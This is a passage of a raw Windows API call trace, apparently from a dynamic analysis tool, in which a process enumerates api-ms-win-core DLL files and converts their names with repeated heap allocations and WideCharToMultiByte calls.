RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de8c8 [0206.261] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de950 [0206.261] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L1-2-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0206.261] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc120 [0206.261] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L1-2-0.DLL", cchWideChar=31, lpMultiByteStr=0x9dc120, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-FILE-L1-2-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0206.261] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc288 [0206.261] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc120) returned 1 [0206.261] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc288) returned 1 [0206.261] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9de950) returned 1 [0206.261] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9de8c8) returned 1 [0206.261] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb859c590, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb859c590, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8c9b158, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="api-ms-win-core-file-l2-1-0.dll", cAlternateFileName="")) returned 1 [0206.261] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de8c8 [0206.261] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de950 [0206.261] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L2-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0206.261] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc288 [0206.261] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L2-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x9dc288, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-FILE-L2-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0206.261] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc120 [0206.261] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc288) returned 1 [0206.261] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc120) returned 1 [0206.261] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9de950) returned 1 [0206.261] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9de8c8) returned 1 [0206.261] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cfe04a0, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cfe04a0, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="api-ms-win-core-handle-l1-1-0.dll", cAlternateFileName="")) returned 1 [0206.261] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de8c8 [0206.261] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de950 [0206.261] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-HANDLE-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0206.261] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc120 [0206.261] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-HANDLE-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x9dc120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-HANDLE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0206.262] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc288 [0206.262] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc120) returned 1 [0206.262] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc288) returned 1 [0206.262] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9de950) returned 1 [0206.262] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9de8c8) returned 1 [0206.262] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d0c4cda, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d0c4cda, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="api-ms-win-core-heap-l1-1-0.dll", cAlternateFileName="")) returned 1 [0206.262] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de8c8 [0206.262] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de950 [0206.262] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-HEAP-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0206.262] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc288 [0206.262] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-HEAP-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x9dc288, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-HEAP-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0206.262] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc120 [0206.262] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc288) returned 1 [0206.262] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc120) returned 1 [0206.262] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9de950) returned 1 [0206.262] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9de8c8) returned 1 [0206.262] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d078a1c, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d078a1c, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="api-ms-win-core-interlocked-l1-1-0.dll", cAlternateFileName="")) returned 1 [0206.262] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de8c8 [0206.262] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de950 [0206.262] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-INTERLOCKED-L1-1-0.DLL", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0206.262] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc120 [0206.262] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-INTERLOCKED-L1-1-0.DLL", cchWideChar=38, lpMultiByteStr=0x9dc120, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-INTERLOCKED-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 38 [0206.262] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc288 [0206.262] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc120) returned 1 [0206.262] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc288) returned 1 [0206.262] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9de950) returned 1 [0206.262] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9de8c8) returned 1 [0206.262] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cce6934, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cce6934, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="api-ms-win-core-io-l1-1-0.dll", cAlternateFileName="")) returned 1 [0206.262] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de8c8 [0206.262] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de950 [0206.262] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-IO-L1-1-0.DLL", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0206.262] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc288 [0206.262] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-IO-L1-1-0.DLL", cchWideChar=29, lpMultiByteStr=0x9dc288, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-IO-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 29 [0206.262] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc120 [0206.262] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc288) returned 1 [0206.262] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc120) returned 1 [0206.262] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9de950) returned 1 [0206.263] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9de8c8) returned 1 [0206.263] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cf941e2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cf941e2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="api-ms-win-core-libraryloader-l1-1-0.dll", cAlternateFileName="")) returned 1 [0206.263] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de8c8 [0206.263] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de950 [0206.263] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0206.263] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc120 [0206.263] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x9dc120, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 40 [0206.263] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc288 [0206.263] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc120) returned 1 [0206.263] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc288) returned 1 [0206.263] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9de950) returned 1 [0206.263] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9de8c8) returned 1 [0206.263] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cce6934, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cce6934, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="api-ms-win-core-localization-l1-1-0.dll", cAlternateFileName="")) returned 1 [0206.263] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de8c8 [0206.263] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de950 [0206.263] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALIZATION-L1-1-0.DLL", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0206.263] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc288 [0206.263] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALIZATION-L1-1-0.DLL", cchWideChar=39, lpMultiByteStr=0x9dc288, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-LOCALIZATION-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 39 [0206.263] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc120 [0206.263] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc288) returned 1 [0206.263] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc120) returned 1 [0206.263] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9de950) returned 1 [0206.263] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9de8c8) returned 1 [0206.263] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb85502d0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb85502d0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3760, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="api-ms-win-core-localization-l1-2-0.dll", cAlternateFileName="")) returned 1 [0206.263] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de8c8 [0206.263] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de950 [0206.263] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0206.263] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc120 [0206.263] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL", cchWideChar=39, lpMultiByteStr=0x9dc120, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL", lpUsedDefaultChar=0x0) returned 39 [0206.263] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc288 [0206.263] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc120) returned 1 [0206.263] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc288) returned 1 [0206.263] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9de950) returned 1 [0206.263] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9de8c8) returned 1 [0206.263] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cf941e2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cf941e2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="api-ms-win-core-localregistry-l1-1-0.dll", cAlternateFileName="")) returned 1 [0206.263] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de8c8 [0206.264] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de950 [0206.264] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0206.264] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc288 [0206.264] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x9dc288, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 40 [0206.264] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc120 [0206.264] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc288) returned 1 [0206.264] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc120) returned 1 [0206.264] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9de950) returned 1 [0206.264] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9de8c8) returned 1 [0206.264] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d0eae39, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d0eae39, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="api-ms-win-core-memory-l1-1-0.dll", cAlternateFileName="")) returned 1 [0206.264] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de8c8 [0206.264] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de950 [0206.264] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-MEMORY-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0206.264] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc120 [0206.264] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-MEMORY-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x9dc120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-MEMORY-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0206.264] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc288 [0206.264] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc120) returned 1 [0206.264] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc288) returned 1 [0206.264] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9de950) returned 1 [0206.264] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9de8c8) returned 1 [0206.264] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1833b5, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1833b5, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="api-ms-win-core-misc-l1-1-0.dll", cAlternateFileName="")) returned 1 [0206.264] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de8c8 [0206.264] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de950 [0206.264] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-MISC-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0206.264] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc288 [0206.264] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-MISC-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x9dc288, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-MISC-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0206.264] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc120 [0206.264] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc288) returned 1 [0206.264] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc120) returned 1 [0206.264] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9de950) returned 1 [0206.264] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9de8c8) returned 1 [0206.264] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d15d256, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d15d256, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="api-ms-win-core-namedpipe-l1-1-0.dll", cAlternateFileName="")) returned 1 [0206.264] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de8c8 [0206.264] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de950 [0206.264] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-NAMEDPIPE-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0206.264] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc120 [0206.265] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-NAMEDPIPE-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x9dc120, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-NAMEDPIPE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 36 [0206.265] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc288 [0206.265] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc120) returned 1 [0206.265] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc288) returned 1 [0206.265] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9de950) returned 1 [0206.265] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9de8c8) returned 1 [0206.265] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x22, 